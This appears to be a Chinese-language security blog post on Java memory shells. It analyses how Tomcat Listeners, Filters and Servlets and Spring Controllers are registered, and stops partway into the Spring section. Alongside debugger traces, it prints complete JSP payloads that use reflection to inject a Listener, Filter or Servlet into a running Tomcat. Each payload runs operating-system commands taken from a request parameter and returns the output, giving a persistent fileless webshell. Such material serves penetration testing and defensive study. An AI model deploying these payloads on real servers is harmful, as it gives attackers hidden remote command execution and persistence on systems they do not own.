Java内存马

Screenshot_2024-05-05-00-47-49-94_dbfae42db307a0b

前言

解决远程环境不出网。

Java内存马注入的两种姿势:

  • 动态注册添加新的listener/filter/servlet/controller等等
  • agent注入修改已有class,插入恶意代码

class对象

java中的对象可以分为两种对象:Class对象和实例对象。

  1. 信息属性:从对象的作用看,Class对象保存每个类型运行时的类型信息,如类 名、属性、方法、父类信息等等。在JVM中,一个类只对应一个Class对象。
  2. 普适性:Class对象是java.lang.Class类的对象,和其他对象一样,我们可以获取 并操作它的引用。
  3. 运行时唯一性:每当JVM加载一个类就产生对应的Class对象,保存在堆区,类 型和它的Class对象时一一对应的关系。一旦类被加载了到了内存中,那么不论通过哪种 方式获得该类的Class对象,它们返回的都是指向同一个java堆地址上的Class对象引用。 JVM不会创建两个相同类型的Class对象。

Class类没有公共的构造方法,Class对象是在类加载的时候由Java虚拟机以及通过调用类加载器中的 defineClass 方法自动构造的,因此不能显式地声明一个Class对象。

类加载

类被加载到内存的过程以及在之前这篇记录过了

[类的动态加载 | Atlant1c`s blog](http://www.atlant1c.cn/2024/02/20/类的动态加载/)

  • 加载
  • 链接
  • 初始化

所有的类都是在对其第一次使用时,动态加载到JVM中的(懒加载)。

触发类加载的方式

  • Class.forName(“类的全限定名”)
  • new 类构造方法
  • 加载字节码

重点看看通过网络加载字节码方式来调用外部类

  1. loadclass:判断是否已加载,使用双亲委派模型,请求父加载器,都为空,使用 findclass
  2. findclass:根据名称或位置加载.class字节码,然后使用defineClass
  3. defineclass:解析定义.class字节流,返回class对象 loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是 双亲委派机制),在前面没有找到的情况下,执行 findClass

findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中 说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交 给 defineClass

defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

classloader的方法

1
2
3
4
5
6
7
8
9
10
jxxload_help.PathVFSJavaLoader#loadClassFromBytes
org.python.core.BytecodeLoader1#loadClassFromBytes
sun.org.mozilla.javascript.internal.DefiningClassLoader#defineCl
ass
java.security.SecureClassLoader#defineClass(java.lang.String,
byte[], int, int, java.security.CodeSource)
org.mozilla.classfile.DefiningClassLoader#defineClass
org.mozilla.javascript.DefiningClassLoader
com.sun.org.apache.bcel.internal.util.ClassLoader
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

tomcat类加载器需要破坏双亲委派机制

tomcat是个web容器,要解决以下问题

  1. 一个web容器可能要部署两个或者多个应用程序,不同的应用程序,可能会依赖同一个第三方类库的不同版本,因此要保证每一个应用程序的类库都是独立、相互隔离 的。
  2. 部署在同一个web容器中的相同类库的相同版本可以共享,否则,会有重复的类 库被加载进JVM
  3. web容器也有自己的类库,不能和应用程序的类库混淆,需要相互隔离
  4. web容器支持jsp文件修改后不用重启,jsp文件也是要编译成.class文件的,支持 HotSwap功能v2-6260716096c77cb89a375e4ac3572923_1440w

Tomcat内存马

Listener内存马

请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet

Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发

用Request来做内存马,因为只要访问服务就会触发

源码分析

ServletRequestListener接口

Tomcat引入listener需要实现两种接口:

  • LifecycleListener
  • EvenListener(JDK)

前者用于初始化Tomcat,后者在Tomcat有众多继承的类和接口

image-20240502163431753

注意ServletRequestListener接口

1
2
3
4
5
6
7
8
9
10
11
package javax.servlet;

import java.util.EventListener;

public interface ServletRequestListener extends EventListener {
default void requestDestroyed(ServletRequestEvent sre) {
}

default void requestInitialized(ServletRequestEvent sre) {
}
}

其中有两个方法,用于监听ServletRequest对象的创建和销毁。所以访问任意资源都会触发这两个方法。

修改web.xml

1
2
3
<listener>
<listener-class>test.TestListener</listener-class>
</listener>

image-20240502164659406

StandardContext对象

用来添加恶意的listener,在requestInitialized处下断点得到调用堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
requestInitialized:14, TestListener (org.example.TomcatListener)
fireRequestInitEvent:5638, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:670, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:390, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:928, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1794, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

image-20240502170856877

接着看到org.apache.catalina.core.StandardContext#fireRequestInitEvent

image-20240502171521460

返回的是applicationEventListenersList属性值

image-20240502171733051

applicationEventListenersList属性值又是在org.apache.catalina.core.StandardContext#addApplicationEventListener添加的。

image-20240502171840196

Demo

在jsp中如何获得StandardContext对象

1
2
3
4
5
6
7
8
9
10
11
//反射创建servletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
//反射创建applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//反射创建standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);

在tomcat9尝试的,发现以下两种都没法利用

方式一:

1
2
3
4
5
6
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>

方式二:

1
2
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

完整jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>

<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}

public void requestInitialized(ServletRequestEvent sre) {}
}
%>

<%
//反射创建servletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
//反射创建applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//反射创建standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
MyListener listenerDemo = new MyListener();
standardContext.addApplicationEventListener(listenerDemo);
%>

在spring注册路由,访问localhost:8080/memShell_war_exploded/listener

写入内存马,再执行命令

image-20240502174911570

Filter内存马

前置知识

ServletContext:
javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。

ApplicationContext:
org.apache.catalina.core.ApplicationContext
对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。

StandardContext:
Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)

源码分析

这里通过一个demo来调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example.TomcatFilter;

import javax.servlet.*;
import java.io.IOException;


public class Demo1 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("初始加完成");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中。。。");
}

@Override
public void destroy() {
System.out.println("过滤结束");
}
}

xml:

1
2
3
4
5
6
7
8
<filter>
<filter-name>enfilter</filter-name>
<filter-class>com.naihe.FilertDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>enfilter</filter-name>
<url-pattern>/Demo1</url-pattern>
</filter-mapping>

image-20240413192108761

接下来看看tomcat是如何通过web.xml生成的filter对象。

在Demo1第18行位置打上断点,来看一下doFilter

image-20240413194354249

可以看到两个过滤器,第一个是我们定义的,第二个是tomcat自带的。

image-20240413194724020

步入到org.apache.catalina.core.ApplicationFilterChain#internalDoFilter方法看到filterConfig只有Tomcat自带的那个过滤器,因为我们是从自定义的那个过滤器进去的,他是按顺序加载的,我们那个过滤器已经加载过了,

image-20240414095129522

打一个新断点,然后恢复程序再发请求,即可停留

image-20240414101747726

步入进internalDoFilter方法,可以看到我们自定义的那个过滤器

image-20240414101845331

internalDoFilter方法中又调用了doFilter方法就步入到了我们重写的这个doFilter方法里面。

image-20240414101934053

filterChain中的值继续改变,说明filterChain中的与filter相关内容在创建是就已经填入了
因此进入ApplicationFilterFactory看看

image-20240414102516824

存放着过滤器名,过滤器实例

image-20240414102744599

将filterMap的内容添加到filterChain中,并返回filter的值
可知这三个属性都是与filter有关的

image-20240414103520555

  • FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
  • FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和Filter 对象等信息
  • FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和对应的 URLPattern

只要我们将filter ,FilterDefs,FilterMaps添加到FilterConfigs中就可以添加filter了

20220211174938-ed359414-8b1f-1

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
//反射创建servletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
//反射创建applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//反射创建standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


//创建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName)==null){


Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("注入初始化");
}


@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中。。。");
}


@Override
public void destroy() {
// Filter.super.destroy();
}
};
//构造filterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);


//构造filterMap对象
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);


//构造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


//将filterConfig添加到filterConfigs中,即可完成注入
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("successfully");
}
%>

image-20240414104048606

image-20240414103956002

Servlet内存马

servlet是一个Java应用程序,运行在服务器端,用来处理客户端请求并作出响应的程序。servlet没有main方法不能独立运行,需要使用servlet容器比如tomcat来创建。当我们通过URL来访问servlet,首先会在servlet容器中判断该URL是由哪个servlet处理的,当前容器中是否有这个servlet实例,如果没有则创建servlet实例,并交由对应servlet的service方法来处理请求,处理结束后再返回web服务器。

源码分析

本地没有catalina,加个依赖用来调试代码。

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.19</version>
</dependency>

Catalina是Tomcat的核心组件,是Servlet容器,Catalina包含了所有的容器组件,其他模块均为Catalina提供支撑。通过Coyote模块提供连接通信,Jasper模块提供JSP引擎,Naming提供JNDI服务,Juli提供日志服务。结构如下:
img

主要的功能包括接收请求,处理请求,返回结果。但是这些具体的实现是在catalina里面的子容器里面,我们在对应的文章里面讲解,此处聚焦在Catalina的源代码提供的功能上。

处理上面这些,Catalina还提供启动入口,关闭入口等。

Servlet创建

ContextConfig调用了webConfig方法来获取web.xml的配置,并且使用configureContext()方法依次读取了 Filter、Listenert的配置及其映射。

image-20240504114040549

进到configureContext()方法

image-20240504113724653

在获取servlet处打上断点。

image-20240504114328770

通过StandardContext#createWrapper(),创建wrapper对象。StandardContext是可以动态获取的,因此可以通过StandardContext.createWrapper方法获取到StandardWrapper对象。

接下来设置了启动优先级LoadOnStartUp,以及servlet的Name。

在servlet的配置当中即(web.xml),</load-on-startup>的含义是:
标记容器是否在启动的时候就加载这个servlet。
当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;
当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。
正数的值越小,启动该servlet的优先级越高。

然后调用org.apache.catalina.core.StandardWrapper#setServletClass设置Servlet的Class。

最后调用org.apache.catalina.core.StandardContext#addChild将创建并配置好的 Wrapper 添加到 Context 中。

image-20240506164830472

循环调用org.apache.catalina.core.StandardContext#addServletMappingDecoded方法,将web.xml配置的Servlet-Mapper也就是url路径和servlet类做映射。

image-20240506162149166

Servlet加载

看到org.apache.catalina.core.StandardContext#loadOnStartup方法

image-20240506173521592

判断了loadOnStartup属性是否大于等于0,如果为真则将wapper加入list里面,实现了自动加载。

所以我们传入内存马时通过反射修改warpper对象的loadOnStartup属性将其追加到list中。

调用堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
loadOnStartup:4626, StandardContext (org.apache.catalina.core)
startInternal:4948, StandardContext (org.apache.catalina.core)
start:171, LifecycleBase (org.apache.catalina.util)
addChildInternal:683, ContainerBase (org.apache.catalina.core)
addChild:658, ContainerBase (org.apache.catalina.core)
addChild:661, StandardHost (org.apache.catalina.core)
deployDirectory:1186, HostConfig (org.apache.catalina.startup)
run:1941, HostConfig$DeployDirectory (org.apache.catalina.startup)
call:511, Executors$RunnableAdapter (java.util.concurrent)
run$$$capture:266, FutureTask (java.util.concurrent)
run:-1, FutureTask (java.util.concurrent)
- 异步堆栈跟踪
<init>:151, FutureTask (java.util.concurrent)
newTaskFor:87, AbstractExecutorService (java.util.concurrent)
submit:111, AbstractExecutorService (java.util.concurrent)
deployDirectories:1096, HostConfig (org.apache.catalina.startup)
deployApps:478, HostConfig (org.apache.catalina.startup)
check:1668, HostConfig (org.apache.catalina.startup)
lifecycleEvent:314, HostConfig (org.apache.catalina.startup)
fireLifecycleEvent:114, LifecycleBase (org.apache.catalina.util)
backgroundProcess:1098, ContainerBase (org.apache.catalina.core)
processChildren:1301, ContainerBase$ContainerBackgroundProcessor (org.apache.catalina.core)
processChildren:1305, ContainerBase$ContainerBackgroundProcessor (org.apache.catalina.core)
run:1283, ContainerBase$ContainerBackgroundProcessor (org.apache.catalina.core)
call:511, Executors$RunnableAdapter (java.util.concurrent)
runAndReset$$$capture:308, FutureTask (java.util.concurrent)
runAndReset:-1, FutureTask (java.util.concurrent)
- 异步堆栈跟踪
<init>:151, FutureTask (java.util.concurrent)
<init>:219, ScheduledThreadPoolExecutor$ScheduledFutureTask (java.util.concurrent)
scheduleWithFixedDelay:594, ScheduledThreadPoolExecutor (java.util.concurrent)
scheduleWithFixedDelay:138, ScheduledThreadPoolExecutor (org.apache.tomcat.util.threads)
threadStart:1232, ContainerBase (org.apache.catalina.core)
run:1270, ContainerBase$ContainerBackgroundProcessorMonitor (org.apache.catalina.core)
call:511, Executors$RunnableAdapter (java.util.concurrent)
runAndReset$$$capture:308, FutureTask (java.util.concurrent)
runAndReset:-1, FutureTask (java.util.concurrent)
- 异步堆栈跟踪
<init>:151, FutureTask (java.util.concurrent)
<init>:219, ScheduledThreadPoolExecutor$ScheduledFutureTask (java.util.concurrent)
scheduleWithFixedDelay:594, ScheduledThreadPoolExecutor (java.util.concurrent)
scheduleWithFixedDelay:138, ScheduledThreadPoolExecutor (org.apache.tomcat.util.threads)
startInternal:898, ContainerBase (org.apache.catalina.core)
startInternal:248, StandardEngine (org.apache.catalina.core)
start:171, LifecycleBase (org.apache.catalina.util)
startInternal:433, StandardService (org.apache.catalina.core)
start:171, LifecycleBase (org.apache.catalina.util)
startInternal:921, StandardServer (org.apache.catalina.core)
start:171, LifecycleBase (org.apache.catalina.util)
start:772, Catalina (org.apache.catalina.startup)
invoke0:-2, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
start:347, Bootstrap (org.apache.catalina.startup)
main:478, Bootstrap (org.apache.catalina.startup)

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Atlant1c</title>
</head>
<body>
<%
HttpServlet httpServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
};

/* //获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();*/

//反射创建servletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
//反射创建applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//反射创建standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);

//从StandardContext.createWapper()获得一个Wapper对象
Wrapper newWrapper = standardContext.createWrapper();
String name = httpServlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(httpServlet);
newWrapper.setServletClass(httpServlet.getClass().getName());
//将Wrapper添加到StandardContext
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded("/Atlant1c", name);
%>

还是先访问jsp

image-20240506172555381

然后执行命令

image-20240506172642241

Spring内存马

Controller内存马。

@Controller是由 @Component 作为元注解组成的注解。它允许 Spring 自动检测自定义 Bean。

换句话说,无需编写任何明确的代码,Spring 就能做到:

  • 扫描应用,查找注解为 @Component 的类
  • 将它们实例化,并注入任何指定的依赖
  • 在需要的地方注入

环境

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<!-- SpringMVC -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.21</version>
</dependency>

<!-- 日志 -->
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<version>1.2.3</version>
</dependency>

<!-- ServletAPI -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>

<!-- Spring5和Thymeleaf整合包 -->
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId>
<version>3.0.12.RELEASE</version>
</dependency>
</dependencies>

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:applicationContext.xml</param-value>
</context-param>
<servlet>
<servlet-name>DispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:applicationContext.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>DispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

Spring配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context-3.0.xsd
http://www.springframework.org/schema/mvc
http://www.springframework.org/schema/mvc/spring-mvc-4.3.xsd">

<mvc:annotation-driven/>
<context:component-scan base-package="org.example" />

<bean
class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix">
<value>/WEB-INF/</value>
</property>
<property name="suffix">
<value>.jsp</value>
</property>
</bean>
</beans>

测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;


import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class TestController {
@RequestMapping("/index")
public String index(){
return "index";
}
}

源码分析

打断点

image-20240413120540941

Controller的注册

org.springframework.web.servlet.DispatcherServlet#doDispatch方法处理web请求

image-20240413121315599

调用HandlerAdapter#handle处理request和response。并且此处用getHandler方法获取了mappedHandler的Handler

image-20240413123616248

在lookupHandlerMethod方法,从mappingRegistry中获取了路由

image-20240413125203881

也就是说模拟注册向mappingRegistry中添加内存马路由,就能注入内存马。

在AbstractHandlerMethodMapping中就提供了registryMapping添加路由。

image-20240413130813057

但是该类为抽象类。它的子类RequestMappingHandlerMapping能进行实例化

image-20240413130712116

AbstractHandlerMethodMapping分析

AbstractHandlerMethodMappingafterProperties用于bean初始化

image-20240413131426665

initHandlerMethod()遍历所有bean传入processCandidateBean处理bean,也就是controller

image-20240413131547858

processCandidateBean中,getType获取bean类型,通过isHandler进行类型判断,如果bean有controllerRequestMapping注解,就进入detectHandlerMethods解析bean

detectHandlerMethods使用getMappingForMethod创建RequsetMappingInfo

image-20240413131815720

处理完后用registryHandlerMethod建立方法到RequestyMappingInfo的映射。也就是注册路由

image-20240413132221256

registry传入的参数mapping,handler,method。mapping存储了方法映射的URL路径。handler为controller对象。method为反射获取的方法。

Demo

需要先获取ServletContext,然后从其中获取WebApplicationContext,最后才能获取到Spring容器上下文

获取ServletContext

首先需要获取到ServletContext对象,它是在Web应用程序中全局存储和访问数据和资源的地方。

  • 通过request对象或者ContextLoader获取ServletContext

    1
    2
    3
    4
    // 1
    ServletContext servletContext = request.getServletContext();
    // 2
    ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();
  • 获取request可以用RequestContextHolder

    1
    2
    HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder
    .getRequestAttributes()).getRequest();

获取WebApplicationContext

在内存马的构造中,都会获取容器的context对象。在Tomcat中获取的是StandardContext,spring中获取的是WebApplicationContext。WebApplicationContext继承了BeanFactory,所以能用getBean直接获取RequestMappingHandlerMapping,进而注册路由。

所以重点是如何获取WebApplicationContext

image-20240413133617597

ServletContext看作是一个全局存储区,用于存储和访问Web应用中的全局数据和资源。

webApplicationContext对象存储在ServletContext的键值为WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE

可以直接用servletContext#getAttribute()获取属性值

1
WebApplicationContext wac = (WebApplicationContext)servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);

webApplicationContextUtils提供了下面两种方法获取webApplicationContext。需要传入servletContext

1
2
WebApplicationContextUtils.getRequeiredWebApplicationContext(ServletContext s);
WebApplicationContextUtils.getWebApplicationContext(ServletContext s);

spring 5的WebApplicationContextUtils已经没有getWebApplicationContext方法

image-20240413134601871

直接通过ContextLoader获取,不用再经过servletContext。不过ContextLoader一般会被ban

1
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

通过RequestContextHolder获取request,然后获取servletRequest后通过RequestContextUtils得到WebApplicationContext

1
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

用RequestContextHolder直接从键值org.springframework.web.servlet.DispatcherServlet.CONTEXT中获取Context

1
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

直接反射获取WebApplicationContext

1
2
3
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

模拟注册Controller

在spring2.5-3.1使用DefaultAnnotationHandlerMapping处理URL映射。spring3.1以后使用RequestMappingHandlerMapping

